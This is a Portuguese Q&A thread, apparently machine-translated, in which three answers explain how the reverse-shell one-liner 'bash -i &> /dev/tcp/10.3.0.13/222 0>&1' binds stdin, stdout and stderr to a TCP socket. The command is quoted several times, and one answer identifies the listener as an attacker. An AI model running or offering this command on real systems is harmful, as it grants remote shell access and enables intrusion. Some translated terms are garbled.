
tentando entender o comando:
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
isso significa que o STDIN de "bash -i" obterá o conteúdo STDOUT?
Responder1
&> file
em si é o mesmo que > file 2>&1
, que está aberto file
no modo somente gravação no descritor de arquivo 1 e duplica esse descritor de arquivo 1 para o descritor de arquivo 2, de modo que ambos fd 1 e 2 (stdout e stderr) apontem para aqueleabrir descrição do arquivo
0>&1
(igual a 0<&1
ou <&1
) adiciona 0 (stdin) à lista. Ele também duplica fd 1 para 0 (fd 0 é feito para apontar para o mesmo recurso apontado por fd 1).
Agora, ao fazer > /dev/tcp/host/port
in bash
(como em ksh de onde vem o recurso), em vez de fazer a open(file, O_WRONLY)
, bash
cria um soquete TCP e o conecta a host:port
. Isso não é umsomente gravaçãoredirecionamento, é um soquete de rede de leitura + gravação.
Então você acaba com fds 0, 1 e 2 sendo bash -i
um soquete TCP. Quando bash -i
lê em seu stdin, ele lê do soquete, de qualquer coisa que esteja na outra extremidade host:post
e quando ele (ou qualquer comando executado a partir daí) grava no fd 1 ou 2, ele é enviado por esse soquete.
Responder2
Vamos passo a passo.
bash -i
: abre um shell interativo&>
: redireciona a saída padrão e o erro para o soquete aberto para o IP 10.3.0.13 que estaria escutando na porta 2220>&1
: Gosto de ler como 0<&1. Isso significaria literalmente que '0' está anexado a '1', o que significa que stdin está anexado a stdout e a partir do ponto 2 sabemos que o stdin para este processo bash está disponível para o invasor que escuta na porta 222.
Responder3
Resumindo, o comando abre um shell bash interativo que lê a entrada e entrega sua saída e erros para, por meio de um soquete tcp, um host especificado pelo ip.
Detalhes: (!!!Como não sou um especialista, algumas descrições podem não ser precisas ou precisas.)
&> /dev/tcp/10.3.0.13/222
tem duas partes. Primeiro:
/dev/tcp/10.3.0.13/222
Bash lida com vários nomes de arquivos especialmente quando eles são usados em redirecionamentos, como
/dev/tcp/host/port
Se host for um nome de host ou endereço de Internet válido e port for um número inteiro de porta ou nome de serviço, o Bash tentará abrir o soquete TCP correspondente.
Segundo:
o
&>
operador de redirecionamento, para direcionar a saída padrão e o erro padrão para o mesmo arquivo.
Portanto, &> /dev/tcp/10.3.0.13/222
significa abrir o soquete TCP correspondente e redirecionar a saída do suporte e o erro do suporte para o soquete.
Na verdade, os redirecionamentos alocam um novo descritor de arquivo que se refere à mesma descrição de arquivo aberto que o descritor antigo.
Uma descrição de arquivo aberto é uma entrada na tabela de arquivos abertos de todo o sistema. A descrição do arquivo aberto registra o deslocamento do arquivo e os sinalizadores de status do arquivo. Um descritor de arquivo é uma referência a uma descrição de arquivo aberto; esta referência não será afetada se o nome do caminho for posteriormente removido ou modificado para se referir a um arquivo diferente.
Assim, na verdade osaída do suporteeerro de suporte(eles são na verdade descritores de arquivo) eo descritor de arquivo do soqueteagora se refere ao mesmoabrir descrição do arquivo. Isso significa que sempre que houver saída ou erros do bash, esses dados serão gravados no soquete e enviados ao host de destino especificado acima.
0>&1
redireciona oentrada de suportepara osaída do suporte. Usando a ideia acima, significa literalmente oentrada de suporterefere-se ao mesmoabrir descrição do arquivoque é referido pelosaída do suporte; que é o mesmo que também é referido peloerro de suporteeo descritor de arquivo do soquete. Isso significa que sempre que o host que executou este comando receber algum dado através dosoquete tcp, o bash o lê como entrada.
Se não possuir o conhecimento do que realmente significa redirecionamentos, será muito difícil entender o que significa redirecionar oentrada de suportepara osaída do suporte. Isso não significa ler osaída do suporteEnquanto oentrada de suporte, pois não faz sentido. Na verdade significa oentrada de suportee asaída do suporterefere-se ao mesmoabrir descrição do arquivo. Portanto, o comando lê a entrada e entrega a saída no mesmo arquivo, como aqui, o soquete.
Referências:
https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html